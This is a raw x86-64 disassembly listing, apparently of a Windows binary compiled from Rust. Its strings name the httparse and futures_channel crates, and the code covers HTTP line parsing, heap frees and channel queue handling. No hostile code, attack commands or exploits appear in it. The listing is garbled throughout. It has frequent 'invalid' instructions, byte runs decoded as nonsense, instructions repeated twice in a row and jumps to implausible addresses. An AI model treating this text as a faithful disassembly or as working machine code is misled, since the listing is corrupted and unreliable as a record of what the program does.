mov qword [r14 + 8], rbx
test rbx, rbx
jne 0x1400346f4
jmp 0x140034dc9
add qword [rsp + 0x50], r15
add rsi, r15
mov qword [r14 + 0x10], 0
mov qword [r14], rsi
sub rbx, r15
mov qword [r14 + 8], rbx
je 0x140034dc9
cmp byte [rsp + 0x3f], 0
je 0x140034792
movzx r8d, byte [rsi]
xor eax, eax
nop word cs:[rax + rax]
lea r15, [rax + 1]
mov qword [r14 + 0x10], r15
cmp r8b, 0x20
je 0x1400346d4
movzx edx, r8b
cmp edx, 9
je 0x1400346d4
cmp byte [rdx + r12], 0
jne 0x14003495b
cmp r8b, 0xa
je 0x140034770
cmp edx, 0xd
jne 0x1400347d7
cmp rbx, r15
jbe 0x140034e46
movzx ecx, byte [rsi + rax + 1]
add rax, 2
mov qword [r14 + 0x10], rax
cmp cl, 0xa
je 0x140034773
jmp 0x140034e5b
mov rax, r15
cmp rax, rbx
jae 0x140034dc9
movzx r8d, byte [rsi + rax]
cmp r8d, 9
je 0x140034710
cmp r8d, 0x20
je 0x140034710
jmp 0x140034d33
movzx r8d, byte [rsi]
mov qword [r14 + 0x10], 1
mov r15d, 1
cmp r8, 9
je 0x1400346d4
cmp r8d, 0x20
je 0x1400346d4
cmp byte [r8 + r12], 0
jne 0x14003495b
cmp r8d, 0xa
je 0x140034d08
cmp r8d, 0xd
je 0x140034d0f
cmp byte [rsp + 0x27], 0
mov rcx, qword [rsp + 0x40]
mov r11, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
je 0x140034e83
test r8b, r8b
je 0x140034e83
movzx eax, r8b
cmp eax, 0xa
je 0x14003490f
cmp eax, 0xd
je 0x1400348f2
cmp rbx, r15
jbe 0x140034e52
movzx r8d, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
test r8b, r8b
jne 0x1400347fa
jmp 0x140034e83
cmp rbx, rax
jbe 0x140034eb0
movzx r8d, byte [rdi + rax]
inc rax
mov qword [r14 + 0x10], rax
cmp r8b, 0xa
jne 0x140034eba
add r9, rax
add rdi, rax
sub rbx, rax
jmp 0x14003492a
xor edx, edx
cmp byte [rsp + 0x27], 0
mov rcx, qword [rsp + 0x40]
mov r11, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
je 0x140034e6e
add r15, rdx
test r8b, r8b
je 0x140034e6e
nop word cs:[rax + rax]
movzx eax, r8b
cmp eax, 0xa
je 0x1400348bf
cmp eax, 0xd
je 0x1400348c6
cmp rbx, rdx
jbe 0x140034e52
movzx r8d, byte [r15]
inc rdx
mov qword [r14 + 0x10], rdx
inc r15
test r8b, r8b
jne 0x140034890
jmp 0x140034e6e
scasd eax, dword [rdi]
add eax, 0x8b4c0000
and al, 0x50
mov r9, qword [rsp + 0x50]
jmp 0x1400348e7
cmp rbx, rdx
mov r9, qword [rsp + 0x50]
jbe 0x140034ee5
movzx eax, byte [rsi + rdx]
inc rdx
mov qword [r14 + 0x10], rdx
cmp al, 0xa
jne 0x140034eef
add r9, rdx
add rsi, rdx
sub rbx, rdx
jmp 0x14003491d
cmp rbx, r15
jbe 0x140034ef8
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
cmp al, 0xa
jne 0x140034eff
sub rbx, r15
sti
add rsi, r15
mov r9, qword [rsp + 0x50]
add r9, r15
mov rdi, rsi
mov rdx, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov qword [r14 + 0x10], 0
mov qword [r14], rdi
mov qword [r14 + 8], rbx
mov r10d, 0
test rbx, rbx
jne 0x14003455c
jmp 0x140034d9e
call fcn.14010d1d0
jmp 0x140034984
call fcn.14010d1d0
jmp 0x1400349b7
mov rax, qword [0x14017d140]
mov eax, dword [0x14017d140]
test rax, rax
jne 0x1400349d3
mov rcx, qword [0x14017d280]
test rcx, rcx
je 0x14003499e
mov rax, qword [0x14017d280]
test cx, cx
js 0x1400349b2
test rax, rax
je 0x14003494d
and eax, 0x800
cmp rax, 1
mov ecx, 0
sbb rcx, rcx
or rcx, 1
shr eax, 0xb
jmp 0x1400349cc
call fcn.14010d1d0
mov rcx, rax
mov ecx, eax
mov ecx, eax
mov rax, qword [0x14017d280]
test cx, cx
jns 0x14003497f
test rax, rax
je 0x140034954
and eax, 0x800
cmp rax, 1
mov ecx, 3
sbb rcx, 0
mov rax, rcx
mov qword [0x14017d140], rcx
cmp rax, 3
je 0x140034a60
cmp rax, 2
je 0x140034a30
cmp rax, 1
jne 0x140034ac0
nop dword [rax]
mov rax, rbx
sub rax, r15
jb 0x140034f25
cmp rax, 0x10
jb 0x140034ac0
lea rcx, [rsi + r15]
call fcn.140034f50
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x10
je 0x1400349f0
jmp 0x140034ac0
mov rax, rbx
sub rax, r15
jb 0x140034f25
cmp rax, 0x20
jb 0x140034ac0
lea rcx, [rsi + r15]
call fcn.140034fa0
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x20
je 0x140034a30
jmp 0x140034ac0
mov rax, rbx
sub rax, r15
jb 0x140034f25
cmp rax, 0x20
jb 0x140034a90
lea rcx, [rsi + r15]
call fcn.140034fa0
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x20
je 0x140034a60
jmp 0x140034ac0
mov rax, rbx
sub rax, r15
jb 0x140034f25
cmp rax, 0x10
jb 0x140034ac0
lea rcx, [rsi + r15]
call fcn.140034f50
add r15, rax
mov qword [r14 + 0x10], r15
cmp rax, 0x10
je 0x140034a90
nop dword [rax + rax]
cmp r15, 0xfffffffffffffff7
ja 0x140034b70
lea rcx, [r15 + 8]
cmp rcx, rbx
ja 0x140034b70
movq xmm0, qword [rsi + r15]
movdqa xmmword [rsp + 0x70], xmm0
movzx eax, byte [rsp + 0x70]
cmp byte [rax + r12], 0
je 0x140034b92
movd edx, xmm0
mov eax, edx
shr eax, 8
movzx r8d, al
cmp byte [r8 + r12], 0
je 0x140034b97
mov eax, edx
shr eax, 0x10
movzx r8d, al
cmp byte [r8 + r12], 0
je 0x140034b9d
shr edx, 0x18
cmp byte [rdx + r12], 0
je 0x140034ba3
pextrw eax, xmm0, 2
movzx edx, al
cmp byte [rdx + r12], 0
je 0x140034bae
shr eax, 8
cmp byte [rax + r12], 0
je 0x140034bb4
pextrw eax, xmm0, 3
movzx edx, al
cmp byte [rdx + r12], 0
je 0x140034bba
shr eax, 8
cmp byte [rax + r12], 0
je 0x140034bc1
mov qword [r14 + 0x10], rcx
mov r15, rcx
jmp 0x140034ac0
cmp rbx, r15
jbe 0x140034dc9
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
cmp byte [rax + r12], 0
jne 0x140034ac0
jmp 0x140034bc8
inc r15
jmp 0x140034bbe
add r15, 2
jmp 0x140034bbe
add r15, 3
jmp 0x140034bbe
add r15, 4
mov rcx, r15
mov eax, edx
jmp 0x140034bc1
add r15, 5
jmp 0x140034bbe
add r15, 6
jmp 0x140034bbe
add r15, 7
mov rcx, r15
mov qword [r14 + 0x10], rcx
mov r15, rcx
mov rdx, 0xffffffffffffffff
cmp al, 0xa
je 0x140034bff
movzx ecx, al
cmp ecx, 0xd
jne 0x140034c2c
cmp rbx, r15
jbe 0x140034e46
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
mov rdx, 0xfffffffffffffffe
cmp al, 0xa
jne 0x140034e5b
cmp byte [rsp + 0x3f], 0
je 0x140034c9f
cmp rbx, r15
jbe 0x140034dc9
movzx eax, byte [rsi + r15]
cmp eax, 9
je 0x14003495b
cmp eax, 0x20
je 0x14003495b
jmp 0x140034c9f
cmp byte [rsp + 0x27], 0
mov rcx, qword [rsp + 0x40]
mov r11, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
je 0x140034e83
test al, al
je 0x140034e83
movzx eax, al
cmp eax, 0xa
je 0x14003490f
cmp eax, 0xd
je 0x140034c7d
cmp rbx, r15
jbe 0x140034e52
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
test al, al
jne 0x140034c4e
jmp 0x140034e83
cmp rbx, r15
jbe 0x140034e46
movzx eax, byte [rsi + r15]
inc r15
mov qword [r14 + 0x10], r15
cmp al, 0xa
je 0x14003490f
jmp 0x140034f17
lea r8, [rsi + r15]
sub rbx, r15
mov qword [r14 + 0x10], 0
mov qword [r14], r8
mov qword [r14 + 8], rbx
mov rax, qword [rsp + 0x68]
cmp qword [rsp + 0x60], rax
je 0x140034ec8
add rdx, r15
je 0x140034cf2
mov rcx, rdx
movzx eax, byte [rsi + rcx - 1]
cmp rax, 0x20
ja 0x140034cf7
movabs r9, 0x100002600
bt r9, rax
jae 0x140034cf7
dec rcx
jne 0x140034ccd
mov rax, r15
jmp 0x140034d5b
mov rax, r15
jmp 0x140034d59
cmp rcx, rdx
ja 0x140034f37
mov rax, r15
mov rdx, rcx
jmp 0x140034d5b
mov eax, 1
jmp 0x140034d33
cmp rbx, 2
jb 0x140034e46
movzx ecx, byte [rsi + 1]
mov qword [r14 + 0x10], 2
mov eax, 2
cmp cl, 0xa
jne 0x140034e5b
lea r8, [rsi + rax]
sub rbx, rax
mov qword [r14 + 0x10], 0
mov qword [r14], r8
mov qword [r14 + 8], rbx
mov rcx, qword [rsp + 0x68]
cmp qword [rsp + 0x60], rcx
je 0x140034ec8
xor edx, edx
add rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
mov qword [rcx], rdi
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], rdx
lea rbp, [rcx + 0x20]
mov rsi, qword [rsp + 0x30]
inc rsi
mov r10d, 0
test rbx, rbx
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
mov r11, qword [rsp + 0x58]
jne 0x140034556
mov qword [rcx], 1
jmp 0x140034e98
mov rax, qword [rsp + 0x40]
mov qword [rax], 1
jmp 0x140034e98
mov rax, qword [rsp + 0x40]
mov qword [rax], 1
jmp 0x140034e8e
mov byte [rcx + 8], 0
mov qword [rcx], 2
jmp 0x140034e98
add rax, r9
mov r9, rax
shr r9, 8
xor r8d, r8d
mov r10d, eax
mov qword [rcx], r8
mov byte [rcx + 8], r10b
mov dword [rcx + 9], r9d
mov rax, r9
shr rax, 0x30
mov byte [rcx + 0xf], al
shr r9, 0x20
mov word [rcx + 0xd], r9w
jmp 0x140034e98
mov r8d, 1
cmp rbx, rax
jbe 0x140034e7e
movzx eax, byte [rdi + r10 + 1]
add r10, 2
mov qword [r14 + 0x10], r10
cmp al, 0xa
jne 0x140034e74
add r10, r9
mov r9, r10
shr r9, 8
xor r8d, r8d
jmp 0x140034dfa
mov eax, 1
mov rcx, qword [rsp + 0x40]
jmp 0x140034e69
mov qword [rcx], 1
jmp 0x140034e8e
mov rcx, qword [rsp + 0x40]
mov byte [rcx + 8], 1
mov eax, 2
mov qword [rcx], rax
jmp 0x140034e8e
mov byte [rcx + 8], 0
jmp 0x140034e87
mov byte [rcx + 8], 2
mov r8d, 2
mov qword [rcx], r8
jmp 0x140034e98
mov byte [rcx + 8], 1
mov qword [rcx], 2
mov rdx, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov qword [rdx + 8], rsi
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov eax, 1
mov qword [rcx], rax
jmp 0x140034e98
mov byte [rcx + 8], 0
mov eax, 2
mov qword [rcx], rax
jmp 0x140034e98
mov r8d, 2
mov r10b, 5
mov rsi, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
jmp 0x140034dfa
mov eax, 1
jmp 0x140034e69
mov byte [rcx + 8], 0
jmp 0x140034e64
mov eax, 1
jmp 0x140034f08
mov byte [rcx + 8], 1
mov eax, 2
mov rdx, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov qword [rcx], rax
jmp 0x140034e98
mov byte [rcx + 8], 1
mov eax, 2
jmp 0x140034e4b
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttparse_1.8.0_srciter.rs
mov rcx, r15
mov rdx, rbx
call fcn.140104660
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttparse_1.8.0_srclib.rs
call fcn.1401046e0
int3
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea r14, [rsp + 0x77]
mov rax, qword [rdi + 0x10]
cmp rax, 0xfffffffffffffffd
ja 0x1400359de
sub rax, rbx
mov qword [rdi + 0x10], rax
mov rcx, qword [rdi + 8]
mov rdx, rbx
call fcn.140035e10
mov qword [rsi], 1
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rsi], al
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rsi], al
movups xmmword [rsi + 8], xmm0
mov qword [rsi + 0x18], rbx
mov qword [rsi + 0x20], r12
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
adc byte [rax], al
call fcn.140104a40
mov ecx, 8
mov edx, 0x38
add byte [rax], al
add al, ch
push rcx
invalid
or al, 0
add byte [rax], al
add al, ch
push rcx
jmp 0xcd4b5a3d
lea rcx, [0x140112260]
call fcn.140104a40
mov ecx, 8
mov edx, 0x28
call fcn.140104380
or al, 0
or al, 0
int3
mov esi, ecx
mov r14, qword [rdx]
test r14, r14
je 0x140035afa
mov rdi, rdx
mov rbx, qword [r14 + 0x18]
mov rax, qword [rbx + 0x28]
test rax, rax
jne 0x140035aa9
mov r15, qword [sym.imp.kernel32.dll_SwitchToThread]
nop word cs:[rax + rax]
jbe 0x140035a19
or eax, 0x66666600
nop word cs:[rax + rax]
mov rax, qword [r14 + 0x10]
cmp rax, rbx
je 0x140035b06
call r15
mov rbx, qword [r14 + 0x18]
sbb byte [rax - 0x75], cl
sub byte [r8 - 0x7b], cl
invalid
je 0x140035a90
sbb byte [rax - 0x75], cl
sub byte [r8 - 0x7b], cl
sal byte [rdi + riz*8 + 0x49], 0x89
sbb byte [rax - 0x7d], r9b
cmp eax, dword [rax]
mov qword [r14 + 0x18], rax
cmp qword [rbx], 0
jne 0x140035ccd
cmp qword [rax], 0
je 0x140035ce5
movups xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov qword [rax], 0
cmp qword [rbx], 0
je 0x140035b2b
mov rax, qword [rbx + 8]
test rax, rax
je 0x140035b22
lea rcx, [rbx + 0x20]
mov rdx, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
call qword [rax + 0x10]
jmp 0x140035b2b
mov qword [rsi], 0
jmp 0x140035bfe
mov rax, qword [rdi]
mov rax, qword [rax + 0x38]
test rax, rax
je 0x140035c2c
mov qword [rsi], 2
jmp 0x140035bfe
lea rcx, [rbx + 0x10]
call fcn.1400366b0
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rdi]
test r14, r14
je 0x140035be5
lea rcx, [r14 + 0x20]
call fcn.140036790
test rax, rax
je 0x140035be0
mov rbx, rax
mov r14, rax
add r14, 0x10
mov cl, 1
xor eax, eax
lock cmpxchg byte [rbx + 0x10], cl
jne 0x140035c52
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x140035c6d
xor ebp, ebp
movzx eax, byte [rbx + 0x11]
mov dh, 0x43
adc dword [rax + rax*8 + 0xef850f], eax
add byte [rax], al
mov dh, 0x43
adc dword [rax + rax*8 + 0xef850f], eax
add byte [rax], al
mov byte [rbx + 0x28], 0
mov rax, qword [rbx + 0x18]
mov rcx, qword [rbx + 0x20]
mov qword [rbx + 0x18], 0
test rax, rax
invalid
je 0x140035bb1
sal byte [rbx + rax - 1], 0x50
or byte [rax - 0x7c], al
in eax, dx
call qword [rax + 8]
test bpl, bpl
jne 0x140035bc9
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x140035cb7
xor eax, eax
xchg byte [r14], al
xchg byte [rsi], al
xchg byte [rsi], al
cmp al, 2
je 0x140035c0b
lock dec qword [rbx]
je 0x140035c1a
mov r14, qword [rdi]
test r14, r14
je 0x140035be5
lock dec qword [r14 + 0x38]
mov qword [rsi], 1
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [rsi + 8], xmm0
movups xmmword [rsi + 0x18], xmm1
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
lock dec qword [rbx]
jne 0x140035bd8
mov rcx, rbx
call fcn.140004b70
mov r14, qword [rdi]
test r14, r14
jne 0x140035be0
jmp 0x140035be5
mov rax, qword [rdi]
test rax, rax
je 0x140035c42
invalid
lock dec qword [rax]
jne 0x140035c42
mov rcx, rdi
call fcn.140035d00
mov qword [rdi], 0
mov dword [rdi], 0
mov qword [rsi], 0
jmp 0x140035bfe
mov rcx, r14
call fcn.14010c7c0
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x140035b87
call fcn.14010c880
mov ebp, eax
xor bpl, 1
movzx eax, byte [rbx + 0x11]
test al, al
je 0x140035b95
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x30], esi
mov byte [rsp + 0x38], bpl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401276c8]
str word [rbp + rcx*4 + 0x44]
and al, 0x30
str word [rbp + rcx*4 + 0x44]
and al, 0x30
mov edx, 0x2b
call fcn.1401049b0
call fcn.14010c880
test al, al
jne 0x140035bc9
mov byte [rbx + 0x11], 1
jmp 0x140035bc9
add ecx, ebp
cld
invalid
lea rcx, str.assertion_failed:__tail_.value.is_none__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscqueue.rs
lea r8, [0x14013a350]
mov edx, 0x29
call fcn.1401046f0
lea rcx, str.assertion_failed:__next_.value.is_some__
jl 0x140035d30
adc byte [rax], al
lea r8, [0x14013a398]
mov edx, 0x29
call fcn.1401046f0
int3
lea rcx, [rdi + 0x10]
call fcn.1400366b0
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call r15
test r14, r14
je 0x140035d74
mov rdi, r14
mov r14, qword [r14 + 0x28]
cmp qword [rdi], 0
je 0x140035d39
mov rax, qword [rdi + 8]
test rax, rax
je 0x140035d30
lea rcx, [rdi + 0x20]
mov rdx, qword [rdi + 0x10]
mov r8, qword [rdi + 0x18]
call qword [rax + 0x10]
jmp 0x140035d39
mov rdi, qword [rbx + 0x28]
test rdi, rdi
je 0x140035dc7
mov r14, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140035da1
mov rcx, qword [0x14017d208]
xor edx, edx
call r14
test rdi, rdi
je 0x140035dc7
mov r8, rdi
mov rdi, qword [rdi]
mov rax, qword [r8 + 8]
mov eax, dword [rax + 8]
mov eax, dword [rax + 8]
test rax, rax
je 0x140035d90
lock dec qword [rax]
jne 0x140035d90
mov rcx, qword [r8 + 8]
mov r15, r8
call fcn.140004b70
mov r8, r15
jmp 0x140035d90
mov rax, qword [rbx + 0x48]
test rax, rax
je 0x140035dd7
mov rcx, qword [rbx + 0x50]
call qword [rax + 0x18]
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x140035e02
lock dec qword [r8 + 8]
jne 0x140035e02
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
add byte [rax], al
add dh, al
and al, 0x31
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x140127748]
lea rcx, [rsp + 0x20]
lea r8, [0x140127748]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.140016520
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x140036399
mov al, 1
test dl, dl
jne 0x14003639b
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
jne 0x14003637f
invalid
sub eax, 0x31247c80
add byte [rsi + riz - 0xa], dh
xor al, 4
cmp byte [rsp + 0x31], 0
je 0x14003637f
test byte [rsi + 0x34], 4
jne 0x14003637f
and byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x10a882
test al, 0x10
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
test al, 0x10
invalid
test al, 0x10
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
sal dword [rax + 0x75c98401], 0x1c
sal dword [rax + 0x75c98401], 0x1c
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x113e3a
sub byte [rax - 0x73], r9b
adc eax, 0x113e3a
mov r8d, 1
add byte [rax], al
call qword [rax + 0x18]
jmp 0x14003639b
mov eax, edx
test al, al
setne al
ror byte [rax - 0x7d], 0xc4
pop rsi
ror byte [rax - 0x7d], 0xc4
pop rsi
ret
add byte [rax - 0x75], cl
add dword [rbx - 0x3e09cbb6], ecx
xor al, 0xf6
rcl dword [rax], 0xf
mov eax, dword [rcx]
mov ecx, dword [rdx + 0x34]
xor al, 0xf6
rcl dword [rax], 0xf
test edx, edx
add byte [rax], al
invalid
xor al, 0xf6
rcl dword [rax], 0xf
test edx, edx
add byte [rax], al
add dh, dh
shl dword [rax], 0xf
jne 0x1400364e9
mov r9, rdx
mov ecx, dword [rax]
mov eax, 0x27
add byte [rax], al
invalid
test cl, 0x20
jne 0x1400364e9
mov r9, rdx
mov ecx, dword [rax]
mov eax, 0x27
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
jle 0x1400363b8
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899_l
adc byte [rax], al
add byte [rax - 0x7f], cl
stc
cmp rcx, 0x2710
adc byte [rdi], ah
add byte [rax], al
jb 0x140036575
mov r11d, 0x27
movabs r10, 0x346dc5d63886594b
add byte [rax], al
add byte [rcx - 0x46], cl
pop r9
xchg byte [rax], bh
invalid
nop
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
jnp 0x14003642c
add byte [rax], al
jnp 0x14003642c
add byte [rax], al
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
mov bh, 0xf6
mov bh, 0xf6
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
cmp al, 0x78
mov word [rsp + r11 + 0x34], di
movzx esi, word [r8 + rsi*2]
mov word [rsp + r11 + 0x36], si
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x140036400
cmp rdx, 0x63
jbe 0x14003647e
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rsp + rax + 0x36], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
mov rcx, r9
cmp rdx, 0xa
jae 0x140036587
or dl, 0x30
mov byte [rsp + rax + 0x37], dl
dec rax
jmp 0x140036595
mov eax, dword [rax]
mov r9d, 0x81
mov r8d, eax
nop word cs:[rax + rax]
mov rcx, r9
shr r8d, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rsp + rcx + 0x36], r10b
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae 0x1400364b0
jmp 0x140036537
mov eax, dword [rax]
mov r9d, 0x81
mov r8d, eax
nop word cs:[rax + rax]
mov rcx, r9
shr r8d, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rsp + rcx + 0x36], r10b
lea r9, [rcx - 1]
cmp eax, 0x10
mov eax, r8d
jae 0x140036500
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400365cc
mov eax, 0x81
sub rax, r9
add rcx, rsp
add rcx, 0x38
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x14016ee80]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x1400365bc
mov rdx, rcx
cmp rdx, 0x63
ja 0x140036454
jmp 0x14003647e
movzx edx, word [r8 + rdx*2]
mov word [rsp + rax + 0x36], dx
add rax, 0xfffffffffffffffe
lea rdx, [rsp + rax]
add rdx, 0x38
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
lea r8, [0x14016f768]
mov dl, 1
xor r9d, r9d
call fcn.140012db0
nop
add rsp, 0xb8
pop rdi
pop rsi
ret
lea r8, [0x1401111f8]
mov edx, 0x80
call fcn.140104660
int3
add byte [rcx + rcx*4 + 0x50], cl
or byte [rax - 0x77], cl
push rax
adc byte [rax - 0x75], cl
push rsp
and al, 0x38
movups xmm0, xmmword [rdx]
movups xmmword [rax + 0x18], xmm0
mov qword [rax + 0x28], r15
mov word [rax + 0x30], bp
push 0x32488830
push 0x32488830
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x28]
mov qword [rax], rcx
mov qword [rax + 8], r15
mov qword [rax + 0x10], r13
mov byte [rax + 0x32], 2
jmp 0x140038d60
push rsp
and al, 0x40
call fcn.140104670
int3
sbb bl, bh
adc byte [rax], al
mov r8d, 1
call qword [rax + 0x18]
jmp 0x14003a6bd
test al, al
setne al
add rsp, 0x38
pop rdi
pop rsi
ret
lea edx, str.is_lastKeepAliveTimedOut_l
lea r9, [rsp + 0x40]
mov r8d, 7
mov rcx, rsi
call fcn.1400144f0
cmp byte [rsp + 0x39], 0
cmp dword [rax], eax
cmp dword [rax], eax
movzx ecx, byte [rsp + 0x38]
je 0x14003a78e
mov al, 1
test cl, cl
jne 0x14003a7ad
mov rax, qword [rsp + 0x30]
test byte [rax + 0x34], 4
jne 0x14003a795
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140140fb9]
mov r8d, 2
jmp 0x14003a7aa
test cl, cl
setne al
jmp 0x14003a7ad
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140146913]
lea edx, [0x140146913]
lea edx, [0x140146913]
mov r8d, 1
call qword [rax + 0x18]
nop
add rsp, 0x48
pop rdi
pop rsi
ret
lea rax, [rbx + r9]
add r9, rdx
mov qword [r8], rbx
mov qword [r8 + 8], rax
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], rdx
xorps xmm0, xmm0
movups xmmword [r8 + 0x20], xmm0
mov qword [r8 + 0x30], r9
jmp 0x14003f68f
add rsp, 0xe8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rax], al
mov rbp, rax
movzx eax, byte [0x14017d2b0]
mov edx, 0x100
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14003fe54
mov r15, rax
mov eax, 1
sub rax, rsi
mov qword [rsp + 0x80], rax
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rbx + rcx*4 + 0x54], cl
and al, 0x38
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rbx + rcx*4 + 0x54], cl
and al, 0x38
lea rax, [r10 + 0x20]
mov qword [rsp + 0x78], rax
lea rax, [r10 - 0x10]
mov qword [rsp + 0x98], rax
mov eax, 0x10
mov qword [rsp + 0x88], rax
xor esi, esi
xor r13d, r13d
mov rdx, qword [rsp + 0x28]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbp
jmp 0x14003f76e
mov r13d, 1
mov rsi, qword [rsp + 0x90]
cmp rsi, rdx
jae 0x14003fcdc
mov rax, rdx
sub rax, rsi
mov r9, rsi
shl r9, 4
lea rcx, [r10 + r9]
cmp rax, 2
jae 0x14003f7fe
mov r8, rax
lea rax, [r8 + rsi]
mov rdi, rax
sub rdi, rsi
jb 0x14003fdd4
cmp rax, rdx
ja 0x14003fdd4
jae 0x14003f8d3
cmp r8, 0xa
jae 0x14003f8d3
lea rdi, [rsi + 0xa]
cmp rdi, rdx
cmovae rdi, rdx
cmp rsi, 0xfffffffffffffff6
jae 0x14003fe09
add byte [rax], al
add byte [rax], al
cmp r8, 1
adc r8, 0
mov qword [rsp + 0x90], rdi
add byte [rax], al
add byte [rax], al
sub rdi, rsi
mov rdx, rdi
call fcn.14003fe70
mov rdx, qword [rsp + 0x28]
cmp r13, qword [rsp + 0x88]
je 0x14003f8e9
mov r10, qword [rsp + 0x38]
